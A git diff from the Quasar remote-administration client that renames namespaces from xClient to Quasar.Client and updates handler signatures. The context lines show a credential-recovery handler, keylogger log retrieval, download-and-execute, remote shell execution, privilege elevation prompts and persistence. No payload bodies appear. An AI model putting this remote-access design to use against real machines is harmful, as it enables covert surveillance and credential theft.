diff --git a/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs b/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs
index 7a936cc7..7ef6b9cb 100644
--- a/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs
+++ b/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs
@@ -2,9 +2,8 @@
using System.Drawing;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using Quasar.Common.Video.Compression;
-using xClient.Core.Compression;
-namespace xClient.Tests.Core.Compression
+namespace Quasar.Client.Tests.Core.Compression
{
[TestClass]
public class JpgCompressionTests
diff --git a/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs b/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs
index a71fb825..effe9fc5 100644
--- a/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs
+++ b/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs
@@ -1,8 +1,8 @@
using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
-using xClient.Core.Compression;
+using Quasar.Client.Core.Compression;
-namespace xClient.Tests.Core.Compression
+namespace Quasar.Client.Tests.Core.Compression
{
[TestClass]
public class SafeQuickLZTests
diff --git a/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs b/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs
index 6bf4d813..10ef3e7c 100644
--- a/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs
+++ b/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs
@@ -1,9 +1,9 @@
using System.Text;
using Microsoft.VisualStudio.TestTools.UnitTesting;
-using xClient.Core.Cryptography;
-using xClient.Core.Helper;
+using Quasar.Client.Core.Cryptography;
+using Quasar.Client.Core.Helper;
-namespace xClient.Tests.Core.Encryption
+namespace Quasar.Client.Tests.Core.Encryption
{
[TestClass]
public class AESTests
diff --git a/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs b/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs
index 3f20d87a..e8f87056 100644
--- a/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs
+++ b/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs
@@ -1,8 +1,8 @@
using Microsoft.VisualStudio.TestTools.UnitTesting;
-using xClient.Core.Cryptography;
-using xClient.Core.Helper;
+using Quasar.Client.Core.Cryptography;
+using Quasar.Client.Core.Helper;
-namespace xClient.Tests.Core.Encryption
+namespace Quasar.Client.Tests.Core.Encryption
{
[TestClass]
public class SHA256Tests
diff --git a/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs b/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs
index 5ece9547..e47f7342 100644
--- a/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs
+++ b/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs
@@ -1,7 +1,7 @@
using Microsoft.VisualStudio.TestTools.UnitTesting;
-using xClient.Core.Helper;
+using Quasar.Client.Core.Helper;
-namespace xClient.Tests.Core.Helper
+namespace Quasar.Client.Tests.Core.Helper
{
[TestClass]
public class FileHelperTests
diff --git a/Quasar.Client.Tests/Quasar.Client.Tests.csproj b/Quasar.Client.Tests/Quasar.Client.Tests.csproj
index c4a8e452..0e185643 100644
--- a/Quasar.Client.Tests/Quasar.Client.Tests.csproj
+++ b/Quasar.Client.Tests/Quasar.Client.Tests.csproj
@@ -6,7 +6,7 @@
{7223F9B2-17A2-432B-ADAC-51B1E35681DB}
Library
Properties
- xClient.Tests
+ Quasar.Client.Tests
Client.Tests
v4.0
512
diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs
index 09631d48..30a18573 100644
--- a/Quasar.Client/Config/Settings.cs
+++ b/Quasar.Client/Config/Settings.cs
@@ -1,11 +1,11 @@
using System;
-using xClient.Core.Helper;
+using Quasar.Client.Core.Helper;
#if !DEBUG
-using xClient.Core.Cryptography;
+using Quasar.Client.Core.Cryptography;
#endif
-namespace xClient.Config
+namespace Quasar.Client.Config
{
public static class Settings
{
diff --git a/Quasar.Client/Core/Commands/CommandHandler.cs b/Quasar.Client/Core/Commands/CommandHandler.cs
index 909d1cdd..11884540 100644
--- a/Quasar.Client/Core/Commands/CommandHandler.cs
+++ b/Quasar.Client/Core/Commands/CommandHandler.cs
@@ -1,9 +1,9 @@
using System.Collections.Generic;
using System.Threading;
+using Quasar.Client.Core.Utilities;
using Quasar.Common.Video.Codecs;
-using xClient.Core.Utilities;
-namespace xClient.Core.Commands
+namespace Quasar.Client.Core.Commands
{
/* THIS PARTIAL CLASS SHOULD CONTAIN VARIABLES NECESSARY FOR VARIOUS COMMANDS (if needed). */
public static partial class CommandHandler
diff --git a/Quasar.Client/Core/Commands/ConnectionHandler.cs b/Quasar.Client/Core/Commands/ConnectionHandler.cs
index e7a59f25..8509e23f 100644
--- a/Quasar.Client/Core/Commands/ConnectionHandler.cs
+++ b/Quasar.Client/Core/Commands/ConnectionHandler.cs
@@ -1,21 +1,20 @@
using System;
using System.Net;
using System.Threading;
+using Quasar.Client.Config;
+using Quasar.Client.Core.Data;
+using Quasar.Client.Core.Helper;
+using Quasar.Client.Core.Installation;
+using Quasar.Client.Core.Utilities;
using Quasar.Common.IO;
using Quasar.Common.Messages;
-using xClient.Config;
-using xClient.Core.Data;
-using xClient.Core.Helper;
-using xClient.Core.Installation;
-using xClient.Core.Networking;
-using xClient.Core.Utilities;
-namespace xClient.Core.Commands
+namespace Quasar.Client.Core.Commands
{
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE CONNECTION COMMANDS. */
public static partial class CommandHandler
{
- public static void HandleGetAuthentication(GetAuthentication command, Client client)
+ public static void HandleGetAuthentication(GetAuthentication command, Networking.Client client)
{
GeoLocationHelper.Initialize();
@@ -45,7 +44,7 @@ public static void HandleGetAuthentication(GetAuthentication command, Client cli
}
}
- public static void HandleDoClientUpdate(DoClientUpdate command, Client client)
+ public static void HandleDoClientUpdate(DoClientUpdate command, Networking.Client client)
{
// i dont like this updating... if anyone has a better idea feel free to edit it
if (string.IsNullOrEmpty(command.DownloadUrl))
@@ -110,7 +109,7 @@ public static void HandleDoClientUpdate(DoClientUpdate command, Client client)
}).Start();
}
- public static void HandleDoClientUninstall(DoClientUninstall command, Client client)
+ public static void HandleDoClientUninstall(DoClientUninstall command, Networking.Client client)
{
client.Send(new SetStatus {Message = "Uninstalling... good bye :-("});
diff --git a/Quasar.Client/Core/Commands/FileHandler.cs b/Quasar.Client/Core/Commands/FileHandler.cs
index c722ce54..12e9a88d 100644
--- a/Quasar.Client/Core/Commands/FileHandler.cs
+++ b/Quasar.Client/Core/Commands/FileHandler.cs
@@ -2,20 +2,19 @@
using System.IO;
using System.Security;
using System.Threading;
+using Quasar.Client.Core.Helper;
+using Quasar.Client.Core.Utilities;
using Quasar.Common.Enums;
using Quasar.Common.IO;
using Quasar.Common.Messages;
using Quasar.Common.Models;
-using xClient.Core.Helper;
-using xClient.Core.Networking;
-using xClient.Core.Utilities;
-namespace xClient.Core.Commands
+namespace Quasar.Client.Core.Commands
{
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE DIRECTORIES AND FILES (excluding the program). */
public static partial class CommandHandler
{
- public static void HandleGetDirectory(GetDirectory command, Client client)
+ public static void HandleGetDirectory(GetDirectory command, Networking.Client client)
{
bool isError = false;
string message = null;
@@ -92,7 +91,7 @@ public static void HandleGetDirectory(GetDirectory command, Client client)
}
}
- public static void HandleDoDownloadFile(DoDownloadFile command, Client client)
+ public static void HandleDoDownloadFile(DoDownloadFile command, Networking.Client client)
{
new Thread(() =>
{
@@ -141,7 +140,7 @@ public static void HandleDoDownloadFile(DoDownloadFile command, Client client)
}).Start();
}
- public static void HandleDoDownloadFileCancel(DoDownloadFileCancel command, Client client)
+ public static void HandleDoDownloadFileCancel(DoDownloadFileCancel command, Networking.Client client)
{
if (!_canceledDownloads.ContainsKey(command.Id))
{
@@ -158,7 +157,7 @@ public static void HandleDoDownloadFileCancel(DoDownloadFileCancel command, Clie
}
}
- public static void HandleDoUploadFile(DoUploadFile command, Client client)
+ public static void HandleDoUploadFile(DoUploadFile command, Networking.Client client)
{
if (command.CurrentBlock == 0 && System.IO.File.Exists(command.RemotePath))
NativeMethods.DeleteFile(command.RemotePath); // delete existing file
@@ -167,7 +166,7 @@ public static void HandleDoUploadFile(DoUploadFile command, Client client)
destFile.AppendBlock(command.Block, command.CurrentBlock);
}
- public static void HandleDoPathDelete(DoPathDelete command, Client client)
+ public static void HandleDoPathDelete(DoPathDelete command, Networking.Client client)
{
bool isError = false;
string message = null;
@@ -229,7 +228,7 @@ public static void HandleDoPathDelete(DoPathDelete command, Client client)
}
}
- public static void HandleDoPathRename(DoPathRename command, Client client)
+ public static void HandleDoPathRename(DoPathRename command, Networking.Client client)
{
bool isError = false;
string message = null;
diff --git a/Quasar.Client/Core/Commands/MiscHandler.cs b/Quasar.Client/Core/Commands/MiscHandler.cs
index fdc7838c..b8ff6e13 100644
--- a/Quasar.Client/Core/Commands/MiscHandler.cs
+++ b/Quasar.Client/Core/Commands/MiscHandler.cs
@@ -4,19 +4,18 @@
using System.Net;
using System.Threading;
using System.Windows.Forms;
+using Quasar.Client.Core.Helper;
+using Quasar.Client.Core.Utilities;
using Quasar.Common.IO;
using Quasar.Common.Messages;
-using xClient.Core.Helper;
-using xClient.Core.Networking;
-using xClient.Core.Utilities;
-namespace xClient.Core.Commands
+namespace Quasar.Client.Core.Commands
{
/* THIS PARTIAL CLASS SHOULD CONTAIN MISCELLANEOUS METHODS. */
public static partial class CommandHandler
{
public static void HandleDoDownloadAndExecute(DoDownloadAndExecute command,
- Client client)
+ Networking.Client client)
{
client.Send(new SetStatus {Message = "Downloading file..."});
@@ -69,7 +68,7 @@ public static partial class CommandHandler
}).Start();
}
- public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Client client)
+ public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Networking.Client client)
{
if (!_renamedFiles.ContainsKey(command.Id))
_renamedFiles.Add(command.Id, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName)));
@@ -116,7 +115,7 @@ public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Client c
}
}
- public static void HandleDoVisitWebsite(DoVisitWebsite command, Client client)
+ public static void HandleDoVisitWebsite(DoVisitWebsite command, Networking.Client client)
{
string url = command.Url;
@@ -151,7 +150,7 @@ public static void HandleDoVisitWebsite(DoVisitWebsite command, Client client)
}
}
- public static void HandleDoShowMessageBox(DoShowMessageBox command, Client client)
+ public static void HandleDoShowMessageBox(DoShowMessageBox command, Networking.Client client)
{
new Thread(() =>
{
diff --git a/Quasar.Client/Core/Commands/RegistryHandler.cs b/Quasar.Client/Core/Commands/RegistryHandler.cs
index c760283b..39a5a6a0 100644
--- a/Quasar.Client/Core/Commands/RegistryHandler.cs
+++ b/Quasar.Client/Core/Commands/RegistryHandler.cs
@@ -1,17 +1,16 @@
using System;
+using Quasar.Client.Core.Extensions;
+using Quasar.Client.Core.Helper;
+using Quasar.Client.Core.Registry;
using Quasar.Common.Messages;
using Quasar.Common.Models;
-using xClient.Core.Extensions;
-using xClient.Core.Helper;
-using xClient.Core.Networking;
-using xClient.Core.Registry;
-namespace xClient.Core.Commands
+namespace Quasar.Client.Core.Commands
{
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */
public static partial class CommandHandler
{
- public static void HandleGetRegistryKey(DoLoadRegistryKey packet, Client client)
+ public static void HandleGetRegistryKey(DoLoadRegistryKey packet, Networking.Client client)
{
GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse();
try
@@ -33,7 +32,7 @@ public static void HandleGetRegistryKey(DoLoadRegistryKey packet, Client client)
#region Registry Key Edit
- public static void HandleCreateRegistryKey(DoCreateRegistryKey packet, Client client)
+ public static void HandleCreateRegistryKey(DoCreateRegistryKey packet, Networking.Client client)
{
GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse();
string errorMsg;
@@ -61,7 +60,7 @@ public static void HandleCreateRegistryKey(DoCreateRegistryKey packet, Client cl
client.Send(responsePacket);
}
- public static void HandleDeleteRegistryKey(DoDeleteRegistryKey packet, Client client)
+ public static void HandleDeleteRegistryKey(DoDeleteRegistryKey packet, Networking.Client client)
{
GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse();
string errorMsg;
@@ -81,7 +80,7 @@ public static void HandleDeleteRegistryKey(DoDeleteRegistryKey packet, Client cl
client.Send(responsePacket);
}
- public static void HandleRenameRegistryKey(DoRenameRegistryKey packet, Client client)
+ public static void HandleRenameRegistryKey(DoRenameRegistryKey packet, Networking.Client client)
{
GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse();
string errorMsg;
@@ -106,7 +105,7 @@ public static void HandleRenameRegistryKey(DoRenameRegistryKey packet, Client cl
#region RegistryValue Edit
- public static void HandleCreateRegistryValue(DoCreateRegistryValue packet, Client client)
+ public static void HandleCreateRegistryValue(DoCreateRegistryValue packet, Networking.Client client)
{
GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse();
string errorMsg;
@@ -127,7 +126,7 @@ public static void HandleCreateRegistryValue(DoCreateRegistryValue packet, Clien
client.Send(responsePacket);
}
- public static void HandleDeleteRegistryValue(DoDeleteRegistryValue packet, Client client)
+ public static void HandleDeleteRegistryValue(DoDeleteRegistryValue packet, Networking.Client client)
{
GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse();
string errorMsg;
@@ -147,7 +146,7 @@ public static void HandleDeleteRegistryValue(DoDeleteRegistryValue packet, Clien
client.Send(responsePacket);
}
- public static void HandleRenameRegistryValue(DoRenameRegistryValue packet, Client client)
+ public static void HandleRenameRegistryValue(DoRenameRegistryValue packet, Networking.Client client)
{
GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse();
string errorMsg;
@@ -168,7 +167,7 @@ public static void HandleRenameRegistryValue(DoRenameRegistryValue packet, Clien
client.Send(responsePacket);
}
- public static void HandleChangeRegistryValue(DoChangeRegistryValue packet, Client client)
+ public static void HandleChangeRegistryValue(DoChangeRegistryValue packet, Networking.Client client)
{
GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse();
string errorMsg;
diff --git a/Quasar.Client/Core/Commands/SurveillanceHandler.cs b/Quasar.Client/Core/Commands/SurveillanceHandler.cs
index 9ccdc343..e9bb8715 100644
--- a/Quasar.Client/Core/Commands/SurveillanceHandler.cs
+++ b/Quasar.Client/Core/Commands/SurveillanceHandler.cs
@@ -1,28 +1,27 @@
-using Quasar.Common.Enums;
-using Quasar.Common.IO;
-using Quasar.Common.Messages;
-using Quasar.Common.Models;
-using Quasar.Common.Video;
-using Quasar.Common.Video.Codecs;
-using System;
+using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using System.Windows.Forms;
-using xClient.Core.Helper;
-using xClient.Core.Networking;
-using xClient.Core.Recovery.Browsers;
-using xClient.Core.Recovery.FtpClients;
-using xClient.Core.Utilities;
+using Quasar.Client.Core.Helper;
+using Quasar.Client.Core.Recovery.Browsers;
+using Quasar.Client.Core.Recovery.FtpClients;
+using Quasar.Client.Core.Utilities;
+using Quasar.Common.Enums;
+using Quasar.Common.IO;
+using Quasar.Common.Messages;
+using Quasar.Common.Models;
+using Quasar.Common.Video;
+using Quasar.Common.Video.Codecs;
-namespace xClient.Core.Commands
+namespace Quasar.Client.Core.Commands
{
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE SURVEILLANCE COMMANDS. */
public static partial class CommandHandler
{
- public static void HandleGetPasswords(GetPasswords packet, Client client)
+ public static void HandleGetPasswords(GetPasswords packet, Networking.Client client)
{
List recovered = new List();
@@ -37,7 +36,7 @@ public static void HandleGetPasswords(GetPasswords packet, Client client)
client.Send(new GetPasswordsResponse {RecoveredAccounts = recovered});
}
- public static void HandleGetDesktop(GetDesktop command, Client client)
+ public static void HandleGetDesktop(GetDesktop command, Networking.Client client)
{
// TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis
var monitorBounds = ScreenHelper.GetBounds((command.DisplayIndex));
@@ -113,7 +112,7 @@ public static void HandleGetDesktop(GetDesktop command, Client client)
}
}
- public static void HandleDoMouseEvent(DoMouseEvent command, Client client)
+ public static void HandleDoMouseEvent(DoMouseEvent command, Networking.Client client)
{
try
{
@@ -161,7 +160,7 @@ public static void HandleDoMouseEvent(DoMouseEvent command, Client client)
}
}
- public static void HandleDoKeyboardEvent(DoKeyboardEvent command, Client client)
+ public static void HandleDoKeyboardEvent(DoKeyboardEvent command, Networking.Client client)
{
if (NativeMethodsHelper.IsScreensaverActive())
NativeMethodsHelper.DisableScreensaver();
@@ -169,7 +168,7 @@ public static void HandleDoKeyboardEvent(DoKeyboardEvent command, Client client)
NativeMethodsHelper.DoKeyPress(command.Key, command.KeyDown);
}
- public static void HandleGetMonitors(GetMonitors command, Client client)
+ public static void HandleGetMonitors(GetMonitors command, Networking.Client client)
{
if (Screen.AllScreens.Length > 0)
{
@@ -177,7 +176,7 @@ public static void HandleGetMonitors(GetMonitors command, Client client)
}
}
- public static void HandleGetKeyloggerLogs(GetKeyloggerLogs command, Client client)
+ public static void HandleGetKeyloggerLogs(GetKeyloggerLogs command, Networking.Client client)
{
new Thread(() =>
{
diff --git a/Quasar.Client/Core/Commands/SystemHandler.cs b/Quasar.Client/Core/Commands/SystemHandler.cs
index 5dfd5720..f848f011 100644
--- a/Quasar.Client/Core/Commands/SystemHandler.cs
+++ b/Quasar.Client/Core/Commands/SystemHandler.cs
@@ -1,27 +1,27 @@
-using Microsoft.Win32;
-using Quasar.Common.Enums;
-using Quasar.Common.Messages;
-using System;
+using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net.NetworkInformation;
using System.Windows.Forms;
-using xClient.Config;
-using xClient.Core.Data;
-using xClient.Core.Extensions;
-using xClient.Core.Helper;
-using xClient.Core.Networking;
-using xClient.Core.Utilities;
+using Microsoft.Win32;
+using Quasar.Client.Config;
+using Quasar.Client.Core.Data;
+using Quasar.Client.Core.Extensions;
+using Quasar.Client.Core.Helper;
+using Quasar.Client.Core.Utilities;
+using Quasar.Common.Enums;
+using Quasar.Common.Messages;
using Models = Quasar.Common.Models;
+using Process = System.Diagnostics.Process;
-namespace xClient.Core.Commands
+namespace Quasar.Client.Core.Commands
{
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE SYSTEM (drives, directories, files, etc.). */
public static partial class CommandHandler
{
- public static void HandleGetDrives(GetDrives command, Client client)
+ public static void HandleGetDrives(GetDrives command, Networking.Client client)
{
DriveInfo[] driveInfos;
try
@@ -69,7 +69,7 @@ public static void HandleGetDrives(GetDrives command, Client client)
client.Send(new GetDrivesResponse {Drives = drives});
}
- public static void HandleDoShutdownAction(DoShutdownAction command, Client client)
+ public static void HandleDoShutdownAction(DoShutdownAction command, Networking.Client client)
{
try
{
@@ -101,7 +101,7 @@ public static void HandleDoShutdownAction(DoShutdownAction command, Client clien
}
}
- public static void HandleGetStartupItems(GetStartupItems command, Client client)
+ public static void HandleGetStartupItems(GetStartupItems command, Networking.Client client)
{
try
{
@@ -194,7 +194,7 @@ public static void HandleGetStartupItems(GetStartupItems command, Client client)
}
}
- public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client client)
+ public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Networking.Client client)
{
try
{
@@ -274,7 +274,7 @@ public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client clien
}
}
- public static void HandleDoStartupItemRemove(DoStartupItemRemove command, Client client)
+ public static void HandleDoStartupItemRemove(DoStartupItemRemove command, Networking.Client client)
{
try
{
@@ -344,7 +344,7 @@ public static void HandleDoStartupItemRemove(DoStartupItemRemove command, Client
}
}
- public static void HandleGetSystemInfo(GetSystemInfo command, Client client)
+ public static void HandleGetSystemInfo(GetSystemInfo command, Networking.Client client)
{
try
{
@@ -382,7 +382,7 @@ public static void HandleGetSystemInfo(GetSystemInfo command, Client client)
}
}
- public static void HandleGetProcesses(GetProcesses command, Client client)
+ public static void HandleGetProcesses(GetProcesses command, Networking.Client client)
{
Process[] pList = Process.GetProcesses();
var processes = new Models.Process[pList.Length];
@@ -401,7 +401,7 @@ public static void HandleGetProcesses(GetProcesses command, Client client)
client.Send(new GetProcessesResponse {Processes = processes});
}
- public static void HandleDoProcessStart(DoProcessStart command, Client client)
+ public static void HandleDoProcessStart(DoProcessStart command, Networking.Client client)
{
if (string.IsNullOrEmpty(command.ApplicationName))
{
@@ -428,7 +428,7 @@ public static void HandleDoProcessStart(DoProcessStart command, Client client)
}
}
- public static void HandleDoProcessKill(DoProcessKill command, Client client)
+ public static void HandleDoProcessKill(DoProcessKill command, Networking.Client client)
{
try
{
@@ -443,7 +443,7 @@ public static void HandleDoProcessKill(DoProcessKill command, Client client)
}
}
- public static void HandleDoAskElevate(DoAskElevate command, Client client)
+ public static void HandleDoAskElevate(DoAskElevate command, Networking.Client client)
{
if (WindowsAccountHelper.GetAccountType() != "Admin")
{
@@ -475,7 +475,7 @@ public static void HandleDoAskElevate(DoAskElevate command, Client client)
}
}
- public static void HandleDoShellExecute(DoShellExecute command, Client client)
+ public static void HandleDoShellExecute(DoShellExecute command, Networking.Client client)
{
string input = command.Command;
diff --git a/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs b/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs
index 3e033246..6541039f 100644
--- a/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs
+++ b/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs
@@ -1,19 +1,18 @@
-using Quasar.Common.Enums;
-using Quasar.Common.Messages;
-using System;
-using System.Diagnostics;
+using System;
using System.Net;
using System.Runtime.InteropServices;
-using xClient.Core.Networking;
+using Quasar.Common.Enums;
+using Quasar.Common.Messages;
using Models = Quasar.Common.Models;
+using Process = System.Diagnostics.Process;
-namespace xClient.Core.Commands
+namespace Quasar.Client.Core.Commands
{
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE TCP Connections COMMANDS. */
public static partial class CommandHandler
{
- public static void HandleGetConnections(Client client, GetConnections packet)
+ public static void HandleGetConnections(Networking.Client client, GetConnections packet)
{
var table = GetTable();
@@ -44,7 +43,7 @@ public static void HandleGetConnections(Client client, GetConnections packet)
client.Send(new GetConnectionsResponse {Connections = connections});
}
- public static void HandleDoCloseConnection(Client client, DoCloseConnection packet)
+ public static void HandleDoCloseConnection(Networking.Client client, DoCloseConnection packet)
{
var table = GetTable();
diff --git a/Quasar.Client/Core/Compression/SafeQuickLZ.cs b/Quasar.Client/Core/Compression/SafeQuickLZ.cs
index df313e3c..31eb36a3 100644
--- a/Quasar.Client/Core/Compression/SafeQuickLZ.cs
+++ b/Quasar.Client/Core/Compression/SafeQuickLZ.cs
@@ -2,7 +2,7 @@
#pragma warning disable 0675
-namespace xClient.Core.Compression
+namespace Quasar.Client.Core.Compression
{
// QuickLZ data compression library
// Copyright (C) 2006-2011 Lasse Mikkel Reinhold
diff --git a/Quasar.Client/Core/Cryptography/AES.cs b/Quasar.Client/Core/Cryptography/AES.cs
index b2848a47..7bbb88b5 100644
--- a/Quasar.Client/Core/Cryptography/AES.cs
+++ b/Quasar.Client/Core/Cryptography/AES.cs
@@ -2,9 +2,9 @@
using System.IO;
using System.Security.Cryptography;
using System.Text;
-using xClient.Core.Helper;
+using Quasar.Client.Core.Helper;
-namespace xClient.Core.Cryptography
+namespace Quasar.Client.Core.Cryptography
{
public static class AES
{
diff --git a/Quasar.Client/Core/Cryptography/SHA256.cs b/Quasar.Client/Core/Cryptography/SHA256.cs
index ccb8ad0c..cb3f04e2 100644
--- a/Quasar.Client/Core/Cryptography/SHA256.cs
+++ b/Quasar.Client/Core/Cryptography/SHA256.cs
@@ -1,7 +1,7 @@
using System.Security.Cryptography;
using System.Text;
-namespace xClient.Core.Cryptography
+namespace Quasar.Client.Core.Cryptography
{
public static class SHA256
{
diff --git a/Quasar.Client/Core/Data/ClientData.cs b/Quasar.Client/Core/Data/ClientData.cs
index 4ea74322..f429cb2d 100644
--- a/Quasar.Client/Core/Data/ClientData.cs
+++ b/Quasar.Client/Core/Data/ClientData.cs
@@ -1,6 +1,6 @@
using System.Windows.Forms;
-namespace xClient.Core.Data
+namespace Quasar.Client.Core.Data
{
public static class ClientData
{
diff --git a/Quasar.Client/Core/Data/GeoInformation.cs b/Quasar.Client/Core/Data/GeoInformation.cs
index 7ba15a78..7bca8069 100644
--- a/Quasar.Client/Core/Data/GeoInformation.cs
+++ b/Quasar.Client/Core/Data/GeoInformation.cs
@@ -1,6 +1,6 @@
using System.Runtime.Serialization;
-namespace xClient.Core.Data
+namespace Quasar.Client.Core.Data
{
[DataContract]
public class GeoInformation
diff --git a/Quasar.Client/Core/Data/Host.cs b/Quasar.Client/Core/Data/Host.cs
index c4bbf608..f2f84a7c 100644
--- a/Quasar.Client/Core/Data/Host.cs
+++ b/Quasar.Client/Core/Data/Host.cs
@@ -1,6 +1,6 @@
using System.Net;
-namespace xClient.Core.Data
+namespace Quasar.Client.Core.Data
{
public class Host
{
diff --git a/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs b/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs
index 9298397d..dac7075e 100644
--- a/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs
+++ b/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs
@@ -1,10 +1,10 @@
-using System.Collections.Generic;
-using Microsoft.Win32;
+using System;
+using System.Collections.Generic;
using System.Linq;
-using System;
+using Microsoft.Win32;
using Quasar.Common.Utilities;
-namespace xClient.Core.Extensions
+namespace Quasar.Client.Core.Extensions
{
public static class RegistryKeyExtensions
{
diff --git a/Quasar.Client/Core/Extensions/SocketExtensions.cs b/Quasar.Client/Core/Extensions/SocketExtensions.cs
index fc1254a3..7f5e0e9f 100644
--- a/Quasar.Client/Core/Extensions/SocketExtensions.cs
+++ b/Quasar.Client/Core/Extensions/SocketExtensions.cs
@@ -2,7 +2,7 @@
using System.Net.Sockets;
using System.Runtime.InteropServices;
-namespace xClient.Core.Extensions
+namespace Quasar.Client.Core.Extensions
{
///
/// Socket Extension for KeepAlive
diff --git a/Quasar.Client/Core/Helper/CryptographyHelper.cs b/Quasar.Client/Core/Helper/CryptographyHelper.cs
index ee0cb2d9..fec64f63 100644
--- a/Quasar.Client/Core/Helper/CryptographyHelper.cs
+++ b/Quasar.Client/Core/Helper/CryptographyHelper.cs
@@ -1,6 +1,6 @@
using System.Runtime.CompilerServices;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Core.Helper
{
public static class CryptographyHelper
{
diff --git a/Quasar.Client/Core/Helper/DevicesHelper.cs b/Quasar.Client/Core/Helper/DevicesHelper.cs
index 9c110a94..37240e91 100644
--- a/Quasar.Client/Core/Helper/DevicesHelper.cs
+++ b/Quasar.Client/Core/Helper/DevicesHelper.cs
@@ -3,9 +3,9 @@
using System.Management;
using System.Net.NetworkInformation;
using System.Net.Sockets;
-using xClient.Core.Cryptography;
+using Quasar.Client.Core.Cryptography;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Core.Helper
{
public static class DevicesHelper
{
diff --git a/Quasar.Client/Core/Helper/FileHelper.cs b/Quasar.Client/Core/Helper/FileHelper.cs
index 98c67b17..5ebea424 100644
--- a/Quasar.Client/Core/Helper/FileHelper.cs
+++ b/Quasar.Client/Core/Helper/FileHelper.cs
@@ -1,13 +1,13 @@
using System;
using System.IO;
using System.Text;
+using Quasar.Client.Core.Cryptography;
+using Quasar.Client.Core.Data;
+using Quasar.Client.Core.Utilities;
using Quasar.Common.Enums;
using Quasar.Common.Utilities;
-using xClient.Core.Cryptography;
-using xClient.Core.Data;
-using xClient.Core.Utilities;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Core.Helper
{
public static class FileHelper
{
diff --git a/Quasar.Client/Core/Helper/FormatHelper.cs b/Quasar.Client/Core/Helper/FormatHelper.cs
index b45bfb3a..ea8f26ee 100644
--- a/Quasar.Client/Core/Helper/FormatHelper.cs
+++ b/Quasar.Client/Core/Helper/FormatHelper.cs
@@ -1,8 +1,7 @@
-using System.Drawing;
-using System.IO;
+using System.IO;
using System.Text.RegularExpressions;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Core.Helper
{
public static class FormatHelper
{
diff --git a/Quasar.Client/Core/Helper/GeoLocationHelper.cs b/Quasar.Client/Core/Helper/GeoLocationHelper.cs
index 63374a51..84623f22 100644
--- a/Quasar.Client/Core/Helper/GeoLocationHelper.cs
+++ b/Quasar.Client/Core/Helper/GeoLocationHelper.cs
@@ -4,9 +4,9 @@
using System.Runtime.Serialization.Json;
using System.Text;
using System.Xml;
-using xClient.Core.Data;
+using Quasar.Client.Core.Data;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Core.Helper
{
public static class GeoLocationHelper
{
diff --git a/Quasar.Client/Core/Helper/HostHelper.cs b/Quasar.Client/Core/Helper/HostHelper.cs
index 31d3a3a0..375251bc 100644
--- a/Quasar.Client/Core/Helper/HostHelper.cs
+++ b/Quasar.Client/Core/Helper/HostHelper.cs
@@ -1,9 +1,9 @@
using System.Collections.Generic;
using System.Linq;
using System.Text;
-using xClient.Core.Data;
+using Quasar.Client.Core.Data;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Core.Helper
{
public static class HostHelper
{
